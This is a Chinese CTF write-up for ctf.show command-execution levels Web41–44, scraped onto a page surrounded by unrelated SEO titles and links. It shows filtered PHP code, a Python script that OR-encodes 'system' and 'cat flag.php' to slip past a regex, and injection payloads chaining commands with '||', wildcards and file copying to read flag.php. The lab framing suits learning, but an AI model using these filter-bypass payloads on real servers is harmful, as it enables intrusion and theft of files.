当前位置: 首页 > news >正文

微信网站怎么开发东莞品牌营销型网站建设

微信网站怎么开发,东莞品牌营销型网站建设,珠海集团网站建设,腾讯邮箱企业邮箱登录今天给大家继续带来命令执行的部分关卡代码以及payload&#xff0c;注意重要的是思路而不是代码&#xff1b; 文章目录Web41Web42Web43&#xff08;新方法&#xff09;第二种方法Web44总结Web41 <?phpif(isset($_POST[c])){$c $_POST[c]; if(!preg_match(/[0-9]|[a-z]|\^…

今天给大家继续带来命令执行的部分关卡代码以及payload,注意重要的是思路而不是代码;

文章目录

    • Web41
    • Web42
    • Web43(新方法)
      • 第二种方法
    • Web44
    • 总结


Web41

<?phpif(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>

老样子,先看代码:

  • 发现需要用到POST请求方式
  • 并且没过滤 空格%/'这么看感觉有点机会?

其实并没有,我把能试过的都试过了:


下面是大佬的一个思路

  1. 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  2. 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
  3. 使用POST请求发送c,获取flag
import re
import urllib
from urllib import parse
import requestscontents = []for i in range(256):for j in range(256):hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):continueelse:a = '%' + hex_ib = '%' + hex_jc = chr(int(a[1:], 16) | int(b[1:], 16))if 32 <= ord(c) <= 126:contents.append([c, a, b])def make_payload(cmd):payload1 = ''payload2 = ''for i in cmd:for j in contents:if i == j[0]:payload1 += j[1]payload2 += j[2]breakpayload = '("' + payload1 + '"|"' + payload2 + '")'return payloadURL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

直接输入题目的URL就完事。。。


Web42

老样子,先看代码:

<?phpif(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

这里我们发现>/dev/null 2>&1 ,这又有什么意思?

  • 含义:
    • >/dev/null 2>&1 组合起来,它的完整含义是:
    • /dev/null:将命令的标准输出重定向到 /dev/null。
    • 2>&1:将文件描述符 2(标准错误)重定向到文件描述符 1(标准输出)。

因为标准输出 1 已经被重定向到了 /dev/null,所以这条语句的整体效果就是:将标准输出和标准错误都重定向到 /dev/null。

但这也有一个问题:这意味着,无论你执行什么命令(例如 ls、id 或 cat flag.php),你都不会在网页上看到命令的任何返回结果,因为它们都被丢弃了。

这对漏洞利用构成了挑战,因为它阻止了你直接看到 ls 或 cat 命令的执行结果。你需要找到盲注或带外数据(Out-of-Band)的方法来获取信息。

思路:那么我们能不能在命令被”阻止“前,输出我们想要的结果?

  • 使用 " ; " " || " " & " " && " 分隔
  • >/dev/null 2>&1是不进行回显,所以采用命令把flag打印出来,利用;分隔分化一下
# payload
?c=tac flag.php ||ls# 用;分隔命令
?c=ls;ls  # 起作用的是第一个命令——> ls
?c=tac flag.php;ls

查看文件名:
在这里插入图片描述

得到flag:
在这里插入图片描述

Web43(新方法)

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

很明显,只不过是过滤了点关键词罢了。

那么还是按照Web37—Web40的思路,不断地根据关键词进行绕过,执行命令:

cat 被过滤:

  • 用nl 替代;tac逆序输出;less/more;head;tail;type;

; 被过滤:

  • 可以使用 " ; " " || " " & " " && " 分隔

所以我们可以得到的payload为:

# 查看文件
?c=ls||ls 
# 得到flag
?c=tac flag.php||ls # 查看源代码
?c=nl flag.php ||ls
?c=head -n 20 flag.php ||ls
?c=tail -n 20 flag.php ||ls
?c=more flag.php ||ls
?c=less flag.php ||ls

在这里插入图片描述
在这里插入图片描述

第二种方法

既然问题在于重定向,那么绕过它的方法就是让命令的输出不走标准输出,而是写入您可以访问的地方:
答:那么我们是不是可以将flag的内容,复制到一个新文件,然后我们再访问新文件的内容即可?

# 将内容复制到out.txt
?c=cp flag.php out.txt

然后再访问 https://7637a8aa-19c4-443f-a124-3a4cdaa54c49.challenge.ctf.show/out.txt
显示结果如下:
在这里插入图片描述
这也是一种方法;

Web44

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

简单一看,多了 flag 关键词的过滤,之前我们也说过:
可以用 fl\ag.php | fla* | fla?.php 等方式来过滤;

那么话不多说,直接动手:

payload
?c=tac fla* ||ls# 查看源代码
?c=nl fla* ||ls
?c=head -n 20 fla* ||ls
?c=tail -n 20 fla* ||ls
?c=more fla* ||ls
?c=less fla*||ls

同理,第二种方法也是可以的;
具体步骤看上一关的操作,不再赘述

# 给个payload
?c=cp fla* out.txt
# 直接访问
?out.txt

总结

今天的部分暂时写到这里,我也要准备准备9月的重保面试了。

http://www.dtcms.com/a/441963.html

相关文章:

  • 在QT中实现线程暂停
  • vivado自定义IP显示只读解决办法
  • 当 AI 走进图像编辑:Bing 照片编辑器的实用价值与体验观察
  • Java Linux --- 基本命令,部署Java web程序到线上访问
  • 天安云谷网站建设企业邮箱忘记密码怎么找回
  • SQL 多表查询场景速查:一对一、一对多、多对多
  • 从 0 到 1 搭建 Python 语言 Web UI自动化测试学习系列 7--基础知识 3--常用函数 1
  • Amazon S3 Vectors:向量存储、索引与多亚马逊云科技服务协同的智能桥梁解决方案
  • 第二章 prompt思维链
  • 大模型面经(一) Prompt + RAG + 微调
  • 第一章——了解prompt以及一些基础技巧方法
  • 做牛津布面料在哪个网站找客户找人一起做素材网站
  • 土豆家族工具使用适配表格大全【windows提权】
  • PyQt5 QPushButton组件详解:按钮控件的完整指南
  • Linux中do_wait函数的实现
  • 第1章 线程安全的对象生命期管理
  • Codeforces Round 1027 A. Square Year (2114)
  • 公司网站备案信息查询嵌入式开发培训
  • mysql--核心日志文件详解
  • 营销型网站要多少钱广告联盟app
  • 浙江建设职业技术学院官方网站中信建设有限责任公司资质等级
  • Vidmy 1.0.129| 无限制下载国外视频,支持高速下载、即时抓取高清视频。使用需要科学
  • (CVPR2025)DEIM模型训练自己的数据集教程(基于Pycharm)
  • 13.排序(上)
  • 《KelpBar海带Linux智慧屏项目》
  • 二叉树的层序遍历--力扣
  • 解决Linux下操作无权限问题——chmod: 正在更改...的权限:不允许的操作
  • 哈尔滨论坛建站模板ftp上传网站后怎么弄
  • 使用D3.js画人物关系图
  • 数据结构与算法篇--语义智能指针设计模式